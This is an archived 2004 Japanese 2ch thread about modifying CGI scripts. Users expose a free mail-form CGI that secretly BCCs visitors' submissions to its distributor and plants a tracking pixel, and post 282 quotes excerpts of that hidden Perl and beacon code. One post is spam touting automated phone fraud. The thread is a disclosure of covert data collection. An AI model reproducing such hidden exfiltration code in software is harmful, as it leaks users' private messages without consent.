★三 【 スクリプト改造工房 PART 8 】 ★三
■ このスレッドは過去ログ倉庫に格納されています
0001sage
04/02/23 17:36ID:???# スレッドの説明
#================================
「スクリプトを改造したいけどやりかたわかんないよー」という人がいましたら
ここで聞いてください。ひょっとしたらアドバイス出来るかもしれません。
質問するときは以下の点に注意して書いて下さい
(1) そのスクリプトの内容と置いてある場所を明記する (txtファイルでUPすればなお良い)
(2) どんな風に改造して欲しいのか? (完成イメージHTMLを用意すればなお良し)
(3) 出来るだけ詳しく書くこと。少しは自分で考えること。できれば御礼も言ったほうが良い
※答えてくれないからといって逆ギレする厨はお断り
前スレ http://pc2.2ch.net/test/read.cgi/php/1063780103/
0202nobodyさん
04/06/07 22:21ID:???0203nobodyさん
04/06/08 00:29ID:???■ 設置の方法がわからない場合には
CGI設置について質問
http://pc5.2ch.net/test/read.cgi/php/1054216089/15(テンプレ)
■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
http://pc5.2ch.net/test/read.cgi/php/1076831972/324(テンプレ)
■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
http://pc5.2ch.net/test/read.cgi/php/1077525387/79(テンプレ)
0204nobodyさん
04/06/08 16:50ID:???作者さんによると無用な負荷を与えるそうなので。
http://www.coara.or.jp/~tkuri/BCC/bcc.txt
0205204
04/06/08 16:53ID:???逝ってきます。
0207200
04/06/09 04:21ID:siBsh0Gfcgiでcgiを呼び出して使ってる方はいないでしょうか?
requireでもopen(<IN>, "**.cgi")でも駄目でした。
ヒントだけでもよいのでおねがいします。
0208nobodyさん
04/06/09 04:41ID:???0210nobodyさん
04/06/09 06:39ID:siBsh0Gf初心者の質問スレでは煽られたのみで
Perlコーディング初心者の質問スレでは改造スレで聞いたほうがいいと言われ
ここに来たのですが、
組み込みたい解析cgiと組み込み先の掲示板cgiをURLで紹介すればいいということでしょうか?
そちらのほうが人に手間をかけると思ったのですが・・・
0211nobodyさん
04/06/09 06:50ID:???初めから他のCGIに組み込む前提で作られていないCGIを
お前がやろうとしている方法でそのまま使うことは無理。
0212210
04/06/09 06:57ID:???解析cgi配布先には、できるようなことが書いてあったのですが(具体法はなし)
複雑になってくると書いてあったので、相当難しいのでしょうかね・・・
ともかくレスありがとうございます。
あちこちに誘導されてあたかもマルチのようになってるので
こちらの質問は取り下げてPerl初心者スレで聞きます。
0213208
04/06/09 17:05ID:???もういないと思うけど、一応言っておくぞ。
お前は「ヒントだけでもよいのでおねがいします」って言ってたのでヒントを教えてやったのに私のことは無視ですか?
> 組み込みたい解析cgiと組み込み先の掲示板cgiを…(ry
まあなんだな、最初に丸投げスレで、テンプレに添って上記の依頼をしていたら、今頃君はHappyになっていただろう。
そんなに難しいわけでもないからな。
つーか、そこそこ勉強すればすぐできるレベルだから、これを機会に勉強すればいいぞ。
0214nobodyさん
04/06/11 12:13ID:nOPYLa/M@data(全参加者数)から$num(参加者数)を引けば良いとのことなんですが
どぉ弄れば良いのかさっぱり分かりません
何方かご教授お願いいたします。
0216nobodyさん
04/06/11 19:20ID:???同じような改造依頼が過去何件もあった。
だが、いまだかつて改造ができたケースは無い。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。
0218nobodyさん
04/06/11 20:34ID:???おまいさん、ちょっと思い違いしているかもしれない。
改造が難しいとは言ってない。
改造するに値しないといっている。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。
ROMというのはどういう状態なのかを定義できないからである。
>>217はROMというのはどういう状態か定義できるのか?
ならば道は開かれよう。
0219nobodyさん
04/06/11 21:38ID:???スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。
http://web-up.cside.biz/
http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
0222こりゃ大変だ
04/06/11 22:01ID:???0224nobodyさん
04/06/11 22:07ID:???まずはサイトを丸ごと保存して注意書きとかチェック。
他にも何か仕込まれていないか全スクリプトを落としてチェック。
0225nobodyさん
04/06/11 22:10ID:???214 名前:名無しさん@どーでもいいことだが。 メェル:sage 投稿日:04/06/10 20:42 ID:KO2sUTHI
自分の理想にぴったりかなったID/PASS請求用の高機能フォームCGI(フリーウェア)を発見し、
いそいそとダウンロードして「さぁ編集だ〜!」と喜び勇んでエディタで開いたところ…。
なんとスクリプト本文の中に、
読者様から送ってもらうフォーム内容(なまものに対する情熱を熱く語って頂く項目あり)を、
スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
しかもそれだけじゃなく、フォームのHTML内には
スクリプト配布元のリンク監視用(?)
アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。
つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
コソーリ送信するような仕組みになっていたというわけだ。
(((( ;゚Д゚))ガクガクブルブル
気持ち悪いなんていう理由でそういった部分を削除するのは規約違反だし、
元々そういう違反関連にかなりうるさいサイトらしく、
本気で晒し上げもしかねないような雰囲気だったのでやむなく使用を断念。
規約を読んでダウンロードしたのは自分なわけだし
機能の充実した素晴らしいフリーウェアだから少々の制約は致し方ないとはいえ、
あまりにも卑劣というか姑息だなと思ったので…。
大切な読者様に迷惑かかるのは一番イクナイ!し…。
--------------------------------------------------------------------
個人+商用+メールフォームCGI+CSVデータ蓄積
でヤフ検索すると出てくる。
0226nobodyさん
04/06/11 22:31ID:???今保存ちう〜
> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
0227nobodyさん
04/06/11 22:34ID:???0228nobodyさん
04/06/11 22:36ID:???セキュリティー板にも誰か貼れよ
N速マダー
0229nobodyさん
04/06/11 22:52ID:???って実は立てようとしたんだけど、俺のホストでは立てられなかった。
簡単に祭りになるかと思ったのにどこでも静かだね。
0230nobodyさん
04/06/11 22:55ID:???おいらも立てられないぞ。
0232230
04/06/11 23:21ID:???誰かヨロシク。
0233nobodyさん
04/06/11 23:32ID:???よっぽど捻ってスレ立てないと即落ちだぞ。
0234nobodyさん
04/06/11 23:36ID:???とりあえず、世のサイト管理人に知らせたいもんだ。
0235nobodyさん
04/06/11 23:42ID:???ネトヲチ板とか
0237nobodyさん
04/06/11 23:46ID:???相手が既に気付いてるなら夜逃げ段階かもしれないけど。
0238nobodyさん
04/06/11 23:49ID:???CGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。
ttp://web-up.cside.biz/
http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/f708636f-1ed4-4195-bd79-f71f86f8a4bf/bcc.png
http://ringoch.nekoruri.jp/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://gateway.ringoch.info/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://ringoch.dayomon.net/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
http://alpha.www.td:81/3d496c04-09fb-8536-8418-96a5739715a0/5ca9f262-572d-4683-8399-4161bc7b58bd/img.png
こんな感じか。
>>2に画像のURLでもいいね。誰かヨロ
0239nobodyさん
04/06/11 23:51ID:???一応参考までに。
「痛いニュース速報+」
http://news16.2ch.net/dqnplus/
0240nobodyさん
04/06/11 23:57ID:???http://ex5.2ch.net/test/read.cgi/net/1086965756/l50
たてたよー
0241nobodyさん
04/06/11 23:59ID:zWex4Tqd今保存ちう〜
> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
227nobodyさんage04/06/11 22:34 ID:???法律に反してまで不正に個人情報収集キタ━━━━(゚∀゚)━━━━ッ!!
0242未承諾広告※ ◆TWARamEjuA
04/06/12 00:00ID:???0244未承諾広告※ ◆TWARamEjuA
04/06/12 00:09ID:???【盗聴】web-up.cside.biz【個人情報詐取】
http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/l50
0248未承諾広告※ ◆TWARamEjuA
04/06/12 00:31ID:???だから怖かったりして(w
ってことで、mesh.ad.jp の人よろですー(w
(実は対策中@スレ立て規制ルーチン)
0249nobodyさん
04/06/12 00:39ID:???突然ですが、おめでとうございます!
あなたはオレオレ詐欺を成功させる為の絶好の機会に恵まれました!この機会に、ぜひあなたの常識が正しいかどうかを確かめてみて下さい。
さっそくですが、あなたの会社ではコンピュータやプログラムが出来る仕事を人間がやっているということはありませんか?それは本当に実在の人間でないと出来ない仕事ですか?
零細企業ほど業務のIT化・自動化を進めて、貴重な人的資源を有効に活用する必要があります。オレオレ詐欺運営業務のほとんどは、コンピュータに自動でやらせることが出来るのですから!
0250nobodyさん
04/06/12 01:34ID:XcpBcCfnhttp://news12.2ch.net/test/read.cgi/news/1086971546/
0251nobodyさん
04/06/12 01:38ID:S59QSIAd0252nobodyさん
04/06/12 01:38ID:F7bl5wsk0253nobodyさん
04/06/12 01:39ID:???0254nobodyさん
04/06/12 01:41ID:???0255nobodyさん
04/06/12 01:50ID:???ν速 http://news12.2ch.net/test/read.cgi/news/1086971546/
ヲチ http://ex5.2ch.net/test/read.cgi/net/1086965756/
痛+ http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/
0256nobodyさん
04/06/12 01:51ID:???c⌒っ*゚д゚)っφ 記念カキコ
0257nobodyさん
04/06/12 02:02ID:???祈念カキコ。
0258うんこぶりぶりまん
04/06/12 02:03ID:2GlvRme60259nobodyさん
04/06/12 02:11ID:09i6j9GU0260nobodyさん
04/06/12 02:14ID:???http://pc5.2ch.net/test/read.cgi/sec/1086973725/
0261nobodyさん
04/06/12 02:16ID:???| 祭り? |
|________|
∧ ∧|| ω
(* ̄∀ ̄)(・|>
_|U_|//
\___ノ
...⊂ ̄U U ̄⊃
⊂__ジョー__⊃
0263nobodyさん
04/06/12 02:23ID:???モリアガッテマイリマシター!!!!
∧ ∧ ,,──,−、 ♪
(,,゚Д゚) / (: :( ) ))
|つ/つ `ー─``ー'
〜| | ┣━━┫┨
U U ┠┤ ┣┫
0264nobodyさん
04/06/12 02:26ID:wopb/Mb3>読者様から送ってもらうフォーム内容を、
>スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
>しかもそれだけじゃなく、フォームのHTML内には
>スクリプト配布元のリンク監視用(?)
>アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。
>つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
>しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
>コソーリ送信するような仕組みになっていたというわけだ。
>(((( ;゚Д゚))ガクガクブルブル
これでもわからない奴はry
0265nobodyさん
04/06/12 02:28ID:ePpV/3zGWebsite Explorerで落としてるんだけど重いなここのサイト。
0266nobodyさん
04/06/12 02:29ID:???ttp://www.ruitomo.com/~gulab/s.cgi?k=web-up&o=r
あと立つならWeb制作とネットサービスあたりなのかな。
0267nobodyさん
04/06/12 02:32ID:???頭沸いてるんかコイツ
0268nobodyさん
04/06/12 02:36ID:???0270nobodyさん
04/06/12 02:37ID:???それはshtmlも落とせるのかな?
なんかshtmlだらけで満足に落とせないとどこかのスレで見たよ
0271nobodyさん
04/06/12 02:38ID:???68 :名無しさん@ゴーゴーゴーゴー! :04/06/12 02:09 ID:/o6BW1Gu
Num-Mailしか見てないけど、メールが抜かれるのって
著作権表示を消した時と、一番最初にメール送信した時だけだよな?
$temp何とかってファイルを空にすればまた抜かれるけど
メールを送信するたびに抜かれるわけじゃないよな?
0272nobodyさん
04/06/12 02:39ID:???0273nobodyさん
04/06/12 02:42ID:???0277274
04/06/12 02:52ID:???いや、だから一回目に送るメールってのは大概運営者だから
そのアドレスだけを抜き出そうという魂胆でそ>>271読む限りでは
おれも今からソースみてみるけど
0278nobodyさん
04/06/12 02:53ID:???承諾して使ってるユーザーにあるんだろ
0279nobodyさん
04/06/12 02:57ID:???8. 本スクリプトの不正利用防止・設置状況把握を目的として、本スクリプトから設置先サーバーの情報を収集することがありますが、利用者はこれに同意したものとします。
補足
ついでに個人情報も収集します
0280nobodyさん
04/06/12 02:57ID:???と煽っておく
0281nobodyさん
04/06/12 02:59ID:???> 8. 本スクリプトの不正利用防止・設置状況把握を目的として、
> 本スクリプトから設置先サーバーの情報を収集することがありますが、
> 利用者はこれに同意したものとします。
これはBCCで情報収集の言い訳として成り立つのか?というところだな。
0282nobodyさん
04/06/12 03:00ID:???(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
{ $bcc = '[email protected]'; $bad = 1; }
(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
my $H = $ENV{'HTTP_HOST'};
my $S = $ENV{'SCRIPT_NAME'};
$PAGE = <<EOF;
<script type="text/javascript" language="JavaScript">
<!--
(略。IMG使ってアク解仕込んでる)
// -->
</script>
<noscript>
<img src="http://web-up.cside.biz/cgi/use/ac.cgi?pg=$H$S" width=1 height=1 border=0>
</noscript>
EOF
$bcc = '[email protected];'.$bcc;
}
#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる
0283nobodyさん
04/06/12 03:03ID:???頭マジいかれてるな
0285nobodyさん
04/06/12 03:13ID:???http://atpc.cside9.com/d.c.p/goannnai.htm
0287nobodyさん
04/06/12 03:22ID:???どっちにしても、すぐばれるだろうが。
0288nobodyさん
04/06/12 03:27ID:???document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");
何やってんだ?
0290nobodyさん
04/06/12 03:32ID:???0291nobodyさん
04/06/12 03:32ID:???ヌー速もやる気なくなってるぞ
0292nobodyさん
04/06/12 03:33ID:???0294nobodyさん
04/06/12 03:34ID:???0296nobodyさん
04/06/12 03:38ID:???しかも今回は
“最初の一回だけ送信”דcgi設置した件数”
だよな
0299nobodyさん
04/06/12 03:44ID:???> &error('<b>スクリプト利用規約違反行為を検出しました</b><br><a href="mailto:[email protected]">こちら</a>からご連絡下さい');
>}
( ´,_ゝ`)プッ
0300nobodyさん
04/06/12 03:46ID:???web-upに送られるという極悪仕様らしいね
0302nobodyさん
04/06/12 03:52ID:???一通目は普通管理人だから問題ないけど、(いや、あるけど)
二通目以降の本番使用での訪問者による送信でも、
サイト管理者が不正使用なら訪問者のメールも読まれてしまう
という意味でしょうが
■ このスレッドは過去ログ倉庫に格納されています